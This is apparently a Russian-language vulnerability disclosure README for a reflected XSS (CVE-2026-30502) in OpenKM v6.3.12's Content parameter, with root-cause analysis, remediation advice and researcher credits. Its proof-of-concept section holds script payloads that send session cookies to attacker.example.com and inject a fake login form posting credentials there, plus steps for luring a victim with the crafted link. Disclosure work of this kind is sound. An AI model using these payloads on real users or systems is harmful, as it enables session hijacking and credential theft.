🛡️ CVE-2026-30502 — Отражённая XSS в OpenKM v6.3.12

📌 Содержание

• Обзор
• Детали CVE
• Затронутый продукт
• Описание уязвимости
• Анализ первопричины
• Воздействие и оценка рисков
• Доказательство концепции (PoC)
• Устранение и рекомендации
• Хронология раскрытия
• Ссылки
• Об исследователе

🔍 Обзор

Этот репозиторий документирует ответственное раскрытие информации о CVE-2026-30502 — уязвимости Отражённая межсайтовая подмена сценариев (XSS), обнаруженной в OpenKM v6.3.12 — широко используемой системе управления документами с открытым исходным кодом, применяемой в корпоративной и государственной среде.

Уязвимость существует в параметре Content, который отражает вводимые пользователем данные обратно в браузер без надлежащей санитизации или кодирования вывода. Злоумышленник может создать вредоносную ссылку, содержащую встроенный JavaScript, и с помощью социальной инженерии заставить жертву перейти по ней, что приведёт к выполнению скрипта в сессии браузера жертвы.

⚠️ Серьёзность: Средняя–Высокая | Вектор атаки: Сеть | Требуемые привилегии: Нет | Взаимодействие с пользователем: Требуется

📋 Детали CVE

📦 Затронутый продукт

OpenKM — это бесплатная система управления документами с открытым исходным кодом (DMS), предоставляющая веб-интерфейс для управления, аудита и распространения бизнес-документов. Она используется предприятиями, государственными органами и образовательными учреждениями по всему миру.

• Название продукта: OpenKM Document Management System
• Затронутая версия: v6.3.12
• Веб-сайт поставщика: https://www.openkm.com
• Категория: Система управления документами (DMS)
• Язык / Стек: Java (JSP / Spring Framework)

🧨 Описание уязвимости

Отражённая межсайтовая подмена сценариев (XSS) была обнаружена в OpenKM v6.3.12 через параметр Content. Приложение не проверяет и не кодирует вводимые пользователем данные перед их отражением в теле HTTP-ответа, что позволяет внедрить и выполнить произвольный JavaScript в браузере жертвы.

В отличие от хранимой XSS, полезная нагрузка отражённой XSS не сохраняется в базе данных — она переносится в сфабрикованной ссылке. Атака основана на том, что жертву обманом заставляют перейти по вредоносной ссылке (доставленной по электронной почте, через социальные сети или фишинговые кампании), после чего полезная нагрузка незаметно выполняется в её браузере в контексте сессии жертвы.

Поток атаки

Злоумышленник создаёт вредоносную ссылку
        │
        ▼
Жертва переходит по ссылке (фишинг / социальная инженерия)
        │
        ▼
Браузер отправляет GET/POST-запрос с полезной нагрузкой в параметре `Content`
        │
        ▼
OpenKM отражает несанитизированные входные данные непосредственно в HTML-ответ
        │
        ▼
Браузер разбирает и выполняет внедрённый JavaScript
        │
        ▼
Угон сессии / кража учётных данных / компрометация учётной записи

🔬 Анализ первопричины

Уязвимость возникает из-за того, что приложение не применяет меры безопасности входных-выходных данных к параметру Content:

Ссылка, созданная пользователем ──► Параметр Content ──► [НЕТ ПРОВЕРКИ]
       ──► Отражено в HTML-ответе ──► [НЕТ КОДИРОВАНИЯ]
              ──► Браузер выполняет скрипт ──► Компрометация учётной записи

💥 Воздействие и оценка рисков

Успешная эксплуатация этой уязвимости может привести к:

🧪 Доказательство концепции (PoC)

⚠️ Отказ от ответственности: Следующая информация предоставляется строго в образовательных целях и для исследований безопасности в соответствии с принципами ответственного раскрытия. Не тестируйте и не используйте это против систем, которые вам не принадлежат или на которые у вас нет явного письменного разрешения.

Примеры полезных нагрузок (общие)

// Основное доказательство выполнения
<script>alert('CVE-2026-30502 - XSS by Dharmendra Kumar')</script>

// Извлечение cookie сессии
<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>

// Фишинговая накладка для учётных данных
<script>
  var d=document.createElement('div');
  d.innerHTML='<form action="https://attacker.example.com/log" method="POST">'
    +'<input name="u" placeholder="Username"/>'
    +'<input name="p" type="password" placeholder="Password"/>'
    +'<button>Sign In</button></form>';
  document.body.prepend(d);
</script>

Структура вредоносной ссылки

https://target-openkm-instance/[vulnerable-endpoint]?Content=<script>alert(1)</script>

Шаги для воспроизведения

1. Определите уязвимую конечную точку в OpenKM v6.3.12, которая отражает параметр Content
2. Сформируйте ссылку, добавив полезную нагрузку XSS к параметру Content
3. При необходимости закодируйте полезную нагрузку в URL
4. Отправьте сфабрикованную ссылку жертве по электронной почте, в чате или с помощью любого вектора социальной инженерии
5. Когда жертва откроет ссылку в своём аутентифицированном браузере, полезная нагрузка выполнится
6. Наблюдайте выполнение JavaScript, кражу cookie или перенаправление

🛠️ Устранение и рекомендации

Для разработчиков / поставщиков

Для системных администраторов

• 🔒 Ограничить доступ к OpenKM внутренними/доверенными сетями с помощью правил брандмауэра
• 🛡️ Развернуть веб-брандмауэр приложений (WAF) с сигнатурами обнаружения XSS в качестве компенсирующей меры
• 📊 Мониторить журналы доступа веб-сервера на предмет неожиданных тегов скриптов или закодированных полезных нагрузок в строках запроса
• 🔄 Поддерживать установку OpenKM обновлённой до последней безопасной версии
• 📧 Обучить пользователей проявлять осторожность при переходе по непрошеным ссылкам на СУД

📅 Хронология раскрытия

На протяжении всего процесса соблюдались полные принципы ответственного раскрытия, включая координацию с поставщиком и взаимодействие с программой CVE до любого публичного выпуска.

📚 Ссылки

• 🔗 Запись MITRE CVE — CVE-2026-30502
• 🔗 NVD — Национальная база данных уязвимостей
• 🔗 Официальный сайт OpenKM
• 🔗 Шпаргалка OWASP по предотвращению XSS
• 🔗 CWE-79: Межсайтовое выполнение сценариев
• 🔗 OWASP Top 10 — A03:2021 Инъекции
• 🔗 Кодировщик Java OWASP

👨‍💻 Об исследователе

Dharmendra Kumar — независимый исследователь кибербезопасности, специализирующийся на безопасности веб-приложений, тестировании на проникновение и ответственном раскрытии уязвимостей. Его исследования сосредоточены на выявлении и ответственном сообщении о реальных недостатках безопасности в широко используемом программном обеспечении, что способствует повышению безопасности приложений для пользователей по всему миру.

Области экспертизы:

• 🌐 Тестирование на проникновение веб-приложений
• 🐛 Охота за багами и исследование CVE
• 🔍 Обнаружение уязвимостей и консультации по безопасности
• 📋 Ответственное раскрытие и координированное сообщение о CVE

Свяжитесь со мной:

⚖️ Правовой отказ от ответственности

Этот репозиторий предназначен исключительно для образовательных и информационных целей. Детали уязвимости и полезные нагрузки доказательства концепции публикуются в соответствии с принципами ответственного раскрытия. Автор не одобряет и не несёт ответственности за любое несанкционированное использование этой информации. Всегда получайте явное письменное разрешение перед проведением тестирования безопасности любой системы, которая вам не принадлежит.

🙏 Благодарности

Особая благодарность:

• Команде разработчиков OpenKM за сотрудничество и оперативность в ходе координированного раскрытия
• Программе MITRE CVE за назначение и управление идентификатором CVE
• Глобальному сообществу исследователей безопасности и программе вознаграждений за баги за постоянное повышение планки безопасности приложений